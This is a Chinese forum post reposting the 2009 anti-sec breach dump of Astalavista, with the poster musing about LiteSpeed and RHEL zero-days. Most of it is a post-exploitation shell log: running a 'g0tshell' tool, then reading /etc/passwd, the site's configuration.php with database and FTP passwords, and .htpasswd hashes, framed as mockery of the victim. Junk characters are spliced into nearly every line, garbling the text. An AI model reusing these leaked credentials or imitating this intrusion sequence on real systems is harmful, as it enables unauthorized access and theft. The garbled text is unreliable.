里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。
: C- R1 a8 B( o6 j# t) j* E+ E- e( v' d) W# m0 `" B$ `( o3 u9 e
[root@front3 ~]# curl -I litespeedtech.com! e5 }" {9 {% a# i$ y5 k: u: _3 m
HTTP/1.1 200 OK
6 m. I- b2 g8 U6 h, T& x3 r" `# zDate: Fri, 05 Jun 2009 22:54:51 GMT
/ x' ^* Y/ ~6 J* hServer: LiteSpeed3 }' d: d7 l% [, o% |
/ O2 M# R$ o8 a+ R( n
另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-' F2 @5 G$ |# x" R9 K1 o
! M& N* ?7 I* c l- W0 m3 E: `有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。
/ O. `4 \8 }7 H2 ]
1 a8 n% M2 B- q/ R0 P; C& F- P0 G
/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \ - q s" `! q1 ~9 A N
/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \
, I8 ~8 s& ]& n% {6 y$ q. h) c/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \5 c a, v0 j/ ^5 P5 s! t# U
\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /( s3 }. [& y$ z# f
\/ \/ \/ \/ \/ \/ \/
% Q$ Z, h* ^5 v) N$ G" n, t& T The Hacking & Security Community
! m3 I& B5 o' I3 N[+] Founded in 1997 by a hacker computer enthusiast' h& `' n+ b* k2 ^% r( s$ ^
[-] Exposed in 2009 by anti-sec group( B2 R2 v9 j( U% o8 _
) _( g ^% C u: o5 c5 E
From < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:
. }- q6 W. x$ P5 n. L2 r) W- q- q4 K. v- m>> 03. Who’s behind the site?
4 Q6 L. }; z. z$ n' \) M>>2 z6 W& W" W. B1 k
>> A team of security and IT professionals, and a countless number of contributors from all over the world.
: [. {% P% z. W9 {$ x# B& W( j1 H- z! C- ]! h- i8 s+ J* }
>> 05. Is it true that the site is visited by script-kiddies and warez fans only?( d, M7 d& \( e. b1 [ }
>># n( x7 K K% B$ N3 U3 L
>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
0 A$ B* F# n2 U; `9 s5 S+ A% Mmilitary institutions.
$ L7 r0 H9 s( p' R>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.. w# a# d8 t0 e' `0 b o$ f* H! a
3 B" \$ p( N. i9 b& \
Why has Astalavista been targeted?
8 f) M8 R6 q( b* N4 y8 D+ k$ K( h- ~& L1 C* \5 \* S
Other than the fact that they are not doing any of this for the “community” but8 k5 |- C0 }! c. P& b$ a
for the money, they spread exploits for kids, claim to be a security community; o$ T% C8 K. Q# l2 Q2 B6 o
(with no real sense of security on their own servers), and they charge you $6.66! o5 v# |6 N4 u
per months to access a dead forum with a directory filled with public releases
2 E }5 U/ |9 c; B3 Z( _and outdated / broken services.7 N3 ?% |0 c/ }1 t' R
9 v( [, u& g1 |; m
We wanted to see how good that “team of security and IT professionals” really is.2 W; P% ^3 D) ^- @
- z! Y' n. h; ~/ {: U1 ULet’s begin.7 W" ^/ P) o1 [# l5 {
( c( y5 N0 H+ e9 D d- J }# d
anti-sec:~# ./g0tshell astalavista.com -p 80
0 E% F* W$ M8 Y[+] Connecting to astalavista.com:80
- ?# h) T& V) n w# e3 r. x; M[+] Grabbing banner… V; `/ @, s. p8 }( [8 D
LiteSpeed: F: R9 @( Y1 E& b
[+] Injecting shellcode…+ _$ k- \& A! d
[-] Wait for it: z0 T% h) F; L. i; a% W$ r
+ T9 V4 T% x S/ U, p0 d[~] We g0tshell- t: N1 b+ B& s4 n/ Q1 X9 Q+ f
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux3 s k2 Y+ w3 N1 P% v4 b5 K% Y
ID: uid=100(apache) gid=500(apache) groups=500(apache), u- j5 B R* I% p( p9 y
+ W- V5 Z' b8 {% U; T4 esh-3.2$ cat /etc/passwd
* h l. a5 k0 Q5 d( m! r& u" E2 [root:x:0:0:root:/root:/bin/bash* V! M0 k- _/ @, b5 ^
bin:x:1:1:bin:/bin:/sbin/nologin
; ]4 Z2 y' p: W. y1 Kdaemon:x:2:2:daemon:/sbin:/sbin/nologin1 ]7 O4 J: }9 T4 r8 _! F+ f% f
adm:x:3:4:adm:/var/adm:/sbin/nologin
# E3 B# P+ D9 E: c: Dlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
0 r7 R! F0 m4 Z: M( @sync:x:5:0:sync:/sbin:/bin/sync
& G( k: A1 e+ X: N ^shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
+ }# i+ E+ W9 ~+ o$ n. fhalt:x:7:0:halt:/sbin:/sbin/halt+ e# W; @- A& n2 T4 L6 w; r0 ]/ f: l5 R: r
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin5 H: }! b5 y3 ?" w6 N% u
news:x:9:13:news:/etc/news:
4 _; _0 S5 J4 o, z" ?4 A; xuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin2 d. V3 @) k9 y, j: Q# k) E) Y
operator:x:11:0 perator:/root:/sbin/nologin/ B2 x) }1 Q" t! f, n& H" F
games:x:12:100:games:/usr/games:/sbin/nologin! u, q) x5 x! B' D& V. j+ b
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin# J- W" Z. V" F2 G3 B2 D
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
* n. l" ?0 x6 onobody:x:99:99:Nobody:/:/sbin/nologin
% W! P y) V7 s$ P. _rpm:x:37:37::/var/lib/rpm:/sbin/nologin9 N$ O. X9 J1 T1 {& p5 R
dbus:x:81:81:System message bus:/:/sbin/nologin d# u R2 [( i! L
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
9 ?' w& @1 s' x9 D3 C* Emailnull:x:47:47::/var/spool/mqueue:/sbin/nologin- t. d9 R3 d1 b7 C4 L `
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
. d( C" g. \( S5 \( M+ R0 K( w9 ]- }/ Lvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
3 D2 d$ b ~% M! L0 jhaldaemon:x:68:68:HAL daemon:/:/sbin/nologin3 e( J4 ?% ^# F3 \3 P* J
rpc:x:32:32 ortmapper RPC user:/:/sbin/nologin
9 g1 E0 b! w* j+ U2 P* u& hrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
* _7 E3 v+ Z4 n* W- e p# knfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
7 x- u& |9 x* ]7 }. msshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin
. j1 M: w/ i: V4 H# h$ ppcap:x:77:77::/var/arpwatch:/sbin/nologin
; X* w" S h8 Snamed:x:25:25:Named:/var/named:/sbin/nologin
9 \/ t [5 A" k7 Hapache:x:100:500::/var/www:/bin/false% E2 [: U5 r9 X3 J$ _( h
diradmin:x:101:101::/usr/local/directadmin:/bin/bash% A: a3 ^0 u0 D0 I: r
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash2 K( [0 |( a+ K6 |- s. e
webapps:x:500:501::/var/www/html:/bin/bash0 P7 S" b, Q2 n' ~/ C R6 b' f8 n( k t
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash4 [. J$ E7 E1 y3 `6 V
admin:x:501:502::/home/admin:/bin/bash' {3 ~5 `5 y- x- C$ j+ c6 L
jon:x:502:503::/home/jon:/bin/bash- i7 ?; B3 z! w4 b. m
com:x:503:504::/home/com:/bin/bash; b2 ^ b g% p% b8 s, V
ntp:x:38:38::/etc/ntp:/sbin/nologin
9 {0 X4 q- }# E( ?ais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin$ u3 h, y- l# _4 ~. J9 }9 u
astanet:x:504:505::/home/astanet:/bin/bash
0 M* ~. v% L6 v8 Yavahi:x:70:70:Avahi daemon:/:/sbin/nologin! Q2 Z+ G! O1 s; G2 j6 O9 i
avahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin3 j% ~: V# S7 O5 a C* F
( [' O g) M6 ]& s" D/ h. Ush-3.2$ cat /etc/hosts' u$ @/ F v/ F* q8 `/ `8 z
# Do not remove the following line, or various programs5 k+ v L8 y6 T; n
# that require network functionality will fail.
! ]5 t6 q: P" ~% D/ h; N127.0.0.1 localhost.localdomain localhost
% C- I+ o2 L A. F6 W( c+ N& S::1 localhost6.localdomain6 localhost6, h% R8 t, \: u u$ O
80.74.154.172 asta1.astalavistaserver.com
$ n7 T- Y( T$ b7 d0 @6 h" D0 I5 r8 ?" T& {/ ]5 K$ Y, J
sh-3.2$ pwd
& { F- v3 X& O, C. `. H h/home/com/public_html
* k" |0 V* p7 m! o2 x4 |$ q* o7 S* y& `9 ]5 B9 l
sh-3.2$ ls -la" r5 m5 [! O4 x8 v% O) v
total 18460/ t. o3 o- \# b& _; O; ]8 l
drwxr-xr-x 30 com apache 4096 May 28 17:06 .+ ^! E! {1 d9 R" Q
drwx–x–x 11 com com 4096 Jun 25 2008 .." B) T" C# D% _$ y5 c7 v0 o P# H
drwxr-xr-x 2 com com 4096 Feb 2 19:29 admin
# f, x& O0 v$ ^drwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache
. Z7 }8 w" i, X+ x7 L7 cdrwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin0 h! b7 W$ Y+ i4 H" _! ^8 ]! W
drwxrwxrwx 2 com com 4096 May 19 00:50 config
; Q: E* M8 u7 ]- vdrwxr-xr-x 2 com com 4096 Mar 20 11:05 core' p* ^4 O. m6 }* d$ m* M
drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules \# @; p( c: Y3 [" D& f" q9 s) N6 G
drwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing
* B: K3 c$ s" l. k" H* j3 l2 sdrwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo
8 P: u0 F$ @: O3 Y3 l! F6 K% ~+ E" s, h" Wdrwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__& P l8 Q5 O' A% a
-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php4 q1 q- t; W5 z4 y
drwxr-xr-x 2 com com 4096 Sep 9 2008 dvd& M) r6 F! s$ \/ j t7 C! \
drwxr-xr-x 3 com com 4096 Feb 2 19:29 editor e9 K. s8 [) l! X8 ~
-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico: d( p, n) m7 y7 b
drwxrwxrwx 2 com com 4096 Jun 4 08:00 feed
3 l+ u+ Z" h- C-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess
9 I9 i. |* }) M0 O: J4 v-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak; x7 Y, i$ d( [/ T
-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak+ c! ~5 ^, L/ V2 M+ O
drwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool) x+ P ~ w$ O' R; D9 I5 i) }
drwxrwxrwx 14 com com 4096 Feb 2 19:29 images
- ?! y! X- l7 n/ M) Q-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php" P! o) }8 F. u9 v" v5 {- c+ I1 ?
drwxr-xr-x 6 com com 4096 Feb 2 19:29 installer% ~: \8 N" b+ s5 Z1 M s
drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang6 y$ Q# D% O0 _4 i1 T1 a8 I4 I' i7 e
drwxr-xr-x 22 com com 4096 Feb 2 19:29 lib* F4 Q& N) D/ p. }" Y- v3 S2 h" A
drwxrwxrwx 12 com com 4096 Jun 2 07:47 media
/ Z. X: N" j! d4 f# e$ d- xdrwxr-xr-x 8 com com 4096 May 11 12:48 modifications. F8 y ~' v9 `7 L
drwxr-xr-x 34 com com 4096 May 28 16:30 modules' w- I0 B) Q1 W( s2 P# }& b
drwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin: {- B w; S# x
drwxrwxr-x 22 com com 4096 May 28 17:06 _new8 a7 P$ x( e& i
drwxr-xr-x 26 com com 4096 Feb 2 19:27 _old! ~' F" i& E5 d
drwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy
3 i7 ]4 ]4 P" K8 N: ndrwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy
2 d7 y, w2 M/ o4 y' P4 l-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt$ @+ Y& f2 x5 W/ B/ M
-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml
. E9 {$ b: ^% w2 w. i& d. n-rw-r–r– 1 com com 223 Mar 30 15:32 test.php) i! [. j) i2 s( h+ C$ ?
drwxrwxrwx 8 com com 4096 Mar 6 13:15 themes, j% K0 T Q' o* m7 \
drwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp, l* c5 x1 d5 ~* B6 K3 ~0 p( b
drwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam; h: r+ x$ L+ q1 H1 a
+ K0 r1 B4 N, k, ^- {* q' ash-3.2$ head -20 index.php
/ A0 }7 @6 ]1 L5 v8 j s<?php
; [5 D# a6 ?: U+ e7 z- ], a. j
) U/ y5 x4 _* Q) @8 U% c i/** ?5 q$ s0 y$ k# r9 w+ q
* The main page for the CMS1 G+ t: q4 {1 Q3 A% O( j; Z
* @copyright CONTREXX CMS - COMVATION AG4 o' x u2 o4 N* j8 I$ g8 A
* @author Comvation Development Team
; D7 x( `' P5 M* _: V* @version v1.0.9.10.1 stable
! R% }% b4 ?/ c ?* @package contrexx" e( k4 U6 N: b/ v* Y
* @subpackage core7 ]" V: P; b; N) j: ?2 J/ l
* @link 链接标记[url]http://www.contrexx.com/[/url] contrexx homepage
! Y( T) y) [( w( N# |7 S* @since v0.0.0.00 S, J' S [5 z$ h0 g
* @todo Capitalize all class names in project" _1 i/ K( H$ `0 S \6 f
* @uses /config/configuration.php
3 K8 P G6 @) }; V( |% z" w- L* @uses /config/settings.php* |* f! Y0 t! L! m& L
* @uses /config/version.php+ ^* L# o5 [2 d! B3 }7 x
* @uses /core/API.php; |, V4 G0 C4 S% v
* @uses /core_modules/cache/index.class.php
6 H c' D/ v. W* @uses /core/error.class.php
9 d" x" W9 y7 j s$ B3 u# V% f* @uses /core_modules/banner/index.class.php
3 D9 f! T3 K& b! h% q4 V/ C5 P* @uses /core_modules/contact/index.class.php/ C+ V$ F0 R, j+ O
5 u5 @& l& M* N/ o2 W1 t2 G
sh-3.2$ cd config/
# I. D$ ]% q5 y) T3 ], gsh-3.2$ ls -la
% b2 c0 u7 ?( ctotal 32
9 Y/ J# ~+ \, m& ldrwxrwxrwx 2 com com 4096 May 19 00:50 .
- A6 M6 x6 Z* [drwxr-xr-x 30 com apache 4096 May 28 17:06 ..( _" N. n0 _! I, E& y" R
-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php5 J3 q. F! A, g& W
-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php8 c* T' k0 Z C% |
-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php2 K5 Q5 E( r# o* M9 ~: r
-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php
& h9 m5 v5 F0 ^. k! Z# h6 L5 s1 B
) X+ ?/ ?: a6 Wsh-3.2$ cat configuration.php
" Y. o0 F0 m' P) E; t[snip]1 r/ S# M/ M; ?) n# x+ w- c
$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost: q2 X& t5 `( n( g V
$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name4 t4 w2 C2 }6 g9 R
$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix
) o, A( r" F. G& j9 F% H3 W$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username8 I1 S! L5 B Y x/ L. b8 @" O% x
$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password; }' N2 g0 ^, f8 x& P! g7 T
$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)/ D! T- s- F; w
$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)' T7 g: \, t7 ]- w E6 P- g S% w! p
[snip]
& @" Q' X ^1 E; y' i$_FTPCONFIG['is_activated'] = true; // Ftp support true or false
9 A9 k+ q+ ]& w y) ^- [$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode
6 |3 v. ~( y/ Z9 _$_FTPCONFIG['host'] = ‘localhost’;// This is normally set to localhost
3 U3 X$ P J* i2 _7 p' ~" A+ p2 j$_FTPCONFIG['port'] = 21; // Ftp remote port. \ x$ y* {9 b' H0 B3 F
$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username% F0 k! L" L- B8 B
$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password P0 ~+ A' E* q8 E
$_FTPCONFIG['path'] = ‘/’; // Ftp path to cms
7 \+ r+ U' t$ q# O0 ]* N9 @% ]# J1 P; Z9 V8 Z4 e
sh-3.2$ cd ..2 m. h, [, M9 {6 Q, t
sh-3.2$ cd dvd/
1 ?9 P- V* F8 r6 F4 d0 h+ Q( Qsh-3.2$ ls -la: q4 x. N/ L0 n( D c
total 2913780
3 b( A" h8 ]. Z8 jdrwxr-xr-x 2 com com 4096 Sep 9 2008 ., \9 B* K1 |7 C0 t- @) N' E% g
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..% d7 g7 I: z2 @5 N$ \2 i" h" o
-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
# r3 v6 X! j) Q2 A; F/ J; S-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar( X9 X# t! W+ G& Y5 L& Q1 C
-rw-r–r– 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar% E; q( ^5 \ V( V% g
-rw-r–r– 1 com com 115 Jan 29 2008 .htaccess8 y; z9 |8 E4 v# x4 e
, c" J5 Q. C0 R3 n: b3 c0 w3 A2 F5 V2 N
sh-3.2$ cat .htaccess
' Y0 P! g6 m% Z) pauthType Basic) p! ]7 S+ \# o4 ?$ F8 p' Y9 s
authName DVD
6 g9 U5 ^) N; u/ Q( [7 z$ HauthUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
6 O, ]- t& V0 K# [9 C* e/ Jrequire valid-user
! j7 U, U; o; l& d' K' I8 A0 }( `- d; E- O# W) P) ^; E# t; E
sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
% f8 D. A) y. IDVDdownload:CRD8cuY6.MPT6" X. r: x9 w$ J! d" G; g8 F9 |$ @
DVDdownload2:CR8a36.wluFMg
% F, u+ a' i3 S6 B+ c
- m+ Z$ W2 {" j9 e6 A% ksh-3.2$ cat test.php
' _! g: F; i7 d& D& |<?php
- p6 m/ g ~$ n! b! N. V. _$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;. e) y/ a. n' F( N4 a# h
$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));
' b! P9 x3 g+ I3 n/ p# kecho $url;6 }; x, k7 F; b8 ~" q
?>
J. ~) p% w" d Z% F. _6 H9 i6 j3 D- U; d4 z2 `+ ~* V
sh-3.2$ cd modifications/8 _/ h' s8 Z: C- ~' B
sh-3.2$ ls -la! Q+ V% I" j& \) d6 j) R
total 32 i" {9 {: t$ \+ ~
drwxr-xr-x 8 com com 4096 May 11 12:48 .5 f$ E1 e( p' g5 x. }/ J% v
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..1 Q, I2 D4 i4 {! G6 y$ k- t7 k
drwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng8 b+ N0 ?" B+ y+ j+ m
drwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs
8 ] D* X" p# e9 ] e. E" C6 f# U9 Vdrwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools c4 `" {" p* s- O, y4 A
drwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc3 M5 u! R( f5 f. V; U8 w
drwxr-xr-x 2 com com 4096 Feb 2 19:33 search
. p9 u7 w$ L/ |drwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp7 E" j7 b7 e) t" G
+ I" @8 C! i. e0 P$ ~$ Z( Dsh-3.2$ ls -R. |9 ~) [/ ]8 J$ D- E
.:0 ~2 _( j+ ^& h: E
com_avtng cronjobs onlinetools pjirc search _tmp
. v% z# d% Z+ j2 \
# U4 H; S6 J, X1 u* m: f9 ^./com_avtng:
# j, H H5 }6 @avtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts
+ K- S/ P9 c, ~* A3 [8 S4 ?# N6 w8 \. r8 S% B; e+ u
./com_avtng/scripts:
[$ c1 K; }: e5 C5 qpopunder.js' O2 J& u- B- g9 C4 g3 S
: s: r6 c. }, d- s
./cronjobs:
0 r: W2 S$ y1 d( @exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp4 n v9 j% Y( ~( T; q
5 q, w9 g X1 z9 w8 Z( l
./cronjobs/tmp:# U# B/ ^: e- z
contrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv# Q% A6 s" K0 E' g) @
3 n% ?9 J9 e3 A) x! K6 s& u+ @
./onlinetools:
) ^8 Z) F8 R8 hindex.php; s9 Q8 Q5 ?1 t. _' d( p. J
# t+ [7 E9 }& T8 r/ l0 q0 m./pjirc:
- j# i4 e" Y0 B+ ^+ Fa_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt3 N+ N- O7 [ N5 Y& _- E- O
AppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt
6 U: `1 l9 i$ d' f" `& ?3 m' x9 o7 i! ebackground.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd
' |3 ^- ~1 c* ?. p7 O, ?! m+ G# p1 Y2 b
./pjirc/img:
( t" r7 i/ u" fange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif( S* T- Z$ N/ n, }1 a; U
arbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif 2 W6 q I5 T' v+ R
verre-eau.gif
( S6 c, o, m0 A8 Cargh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif 5 R% T/ |0 y- u) K8 g# t
verre-vin.gif
Y. _, G' T2 x) nballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif6 B' K8 J( X) X6 Y! g# P
biere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif8 a7 x8 o. N6 K f6 ], [1 `
! ~0 a: _6 s4 L) t! \./pjirc/snd:' m" A2 v( U- a6 e$ j
bell2.au ding.au6 z- r& [+ P7 r: Z
! Q6 @6 T' P7 n, Z# d [, t! R./search:
' U. O: C: B9 Y' @! VsearchEngines.php search.php7 D: {7 B( M# M' F7 r/ r, g0 f
+ {! X* U* B& Y% u
./_tmp:% m V0 J1 @- v9 c
defaultPorts.php defaultPorts.txt
! a. u) X( N) d7 O1 A4 o
. b6 x; N+ {8 X& |' r. xsh-3.2$ cd cronjobs/
% {; B: q2 q. ^* Z9 Ksh-3.2$ cat exploits.php
% d7 ?/ A+ R$ Z9 l `' e6 I5 F[snip]
5 a" L1 c9 a, m1 ?$categories = array();6 r8 r+ H# D* k/ G/ Y C
$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;& ?1 M: d: m9 r) B' {
$expolits = file($milw0rmFile); m' e$ Y/ l0 w* Q! k. g
$comExploits = array();0 ?$ F: c9 O. W% i: ~/ m$ O
[snip]5 ~/ a9 u# p1 i# M( B! }
// manage data
4 o8 s. I; [8 b: Z, U3 }6 K6 k1 Xfor ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640, u) l0 ~6 }5 B6 O7 O6 H) l* ?
5 B. \! c! l/ Q& | // get path and title
8 d8 c* z0 h8 n. v $expolits[$x] = trim($expolits[$x]);
9 N0 ~1 { \, v0 _ $path = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));& I% C8 a4 P, Z- m; ?+ _! L' R' h) n
$title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);( N% e3 k1 L: D( o- Y) q$ x
7 ~- s+ }/ Y" `: ~+ a // check if file exists0 X( w: s: _) U! |
if (file_exists($path)) {
' S. N# t/ O% s' M8 _+ g3 R2 E& f6 ]. [# s' O2 k: j
$text = file_get_contents($path);
) ], h I6 t+ h( P( U% R5 P% `, G4 U
// get content and date
; @, {/ k1 }: a+ m# X. A" T //$text = htmlspecialchars($text, ENT_QUOTES);
|; R7 E9 X8 Q0 R' T/ y+ G2 w $tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));6 n6 m8 N6 m$ t8 K5 K' p
if ($tmptext != ”) {
9 A3 f, ]& e9 T' W# k6 [ $text = $tmptext;# q, L; X$ G( c4 G* w, S# j
} else {
- h( o5 `: W$ m $text = addslashes(htmlentities($text, ENT_QUOTES));
) j, N$ u3 u+ k3 G c }$ W6 l% v N2 e2 ?% @
$date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));& O) u, h2 _! a0 @
$tmp = explode('-', $date);
# O# N' M5 G# Z( \' H' U& T1 @ $date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));
* P1 d8 ^" y( Y $cat = getCategory ($path);& v5 N1 c' }3 W. K5 v
$ext = pathinfo(basename($path));: n I2 E4 _, @7 g, z7 O% U3 _3 ?" F
$ext = $ext['extension'];) [3 J: i# S* f
$qStr = ”
* P: C. w U. U/ M: b/ z SELECT `id`5 ]2 n' n) v3 w8 W) Y E
FROM `contrexx_module_exploits`
# Q7 @6 w# s; r8 Y% l WHERE `title` = ‘” . $title . “‘' D* c4 M. m* a8 F# G: |
AND `date` = ‘” . $date . “‘
E7 j0 Z% I% t- b7 H, n; G6 x- W “;
) {9 w9 |8 J% y6 v echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;
- k6 h3 D4 z" n- a: a1 L* _# { $q = $_objDB->query($qStr);$ i W, W6 z: B
6 @+ D( d' K9 K if ($q->numRows() == 0) {
3 A. j( I, }) v
& K0 I& d$ B$ X! ?( ]/ n // prepare array
1 B# h& j: |; [ $comExploits[$x]['date'] = $date;
, q1 D" M! a) p $comExploits[$x]['title'] = $title;
b. a& X: V. q/ ~3 h* Q: s( H$ f $comExploits[$x]['author'] = ‘milw0rm’;" F- f7 u2 x4 E& Q6 F' S% T
$comExploits[$x]['text'] = $text;3 ?) Z2 ^1 _$ {
$comExploits[$x]['source'] = $ext;
: h1 B6 u6 C5 a7 [0 G $comExploits[$x]['url1'] = ”;
' r, H; W G$ w4 K $comExploits[$x]['url2'] = ”;0 [+ X& P: r4 [0 h8 J
$comExploits[$x]['catid'] = $cat;* b: E# r/ |9 o& f
$comExploits[$x]['lang'] = ‘2′;7 y: w( d! g" A9 ~; k0 J
$comExploits[$x]['userid'] = ‘12′;7 v" B' x$ L: ^, G
$comExploits[$x]['startdate'] = ‘0000-00-00′;- ~& X, o/ X k
$comExploits[$x]['enddate'] = ‘0000-00-00′;1 {0 K; s. j) t/ h. L8 O; \5 V
$comExploits[$x]['status'] = ‘1′;
7 e# y- D, q$ G" {9 @, P $comExploits[$x]['changelog'] = $date;0 t& e5 u4 t- D; y8 P$ o9 p
( W% ?& x5 c3 I6 q4 L' ?: @
}
* x- R: i" W- Y$ ~$ N5 J[snip]
3 ]" z7 K9 y7 O6 D$ g* d _( T $xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>
8 `/ F* H) g, ^' c<rss version=”2.0″>% X2 e$ _3 [6 d
<channel>+ B0 H; x) q2 j# C- e% n
<title>ASTALAVISTA.com - Exploits</title>2 g' @% N& v1 J0 o3 Q/ `
<link>http://www.astalavista.com/exploits</link>
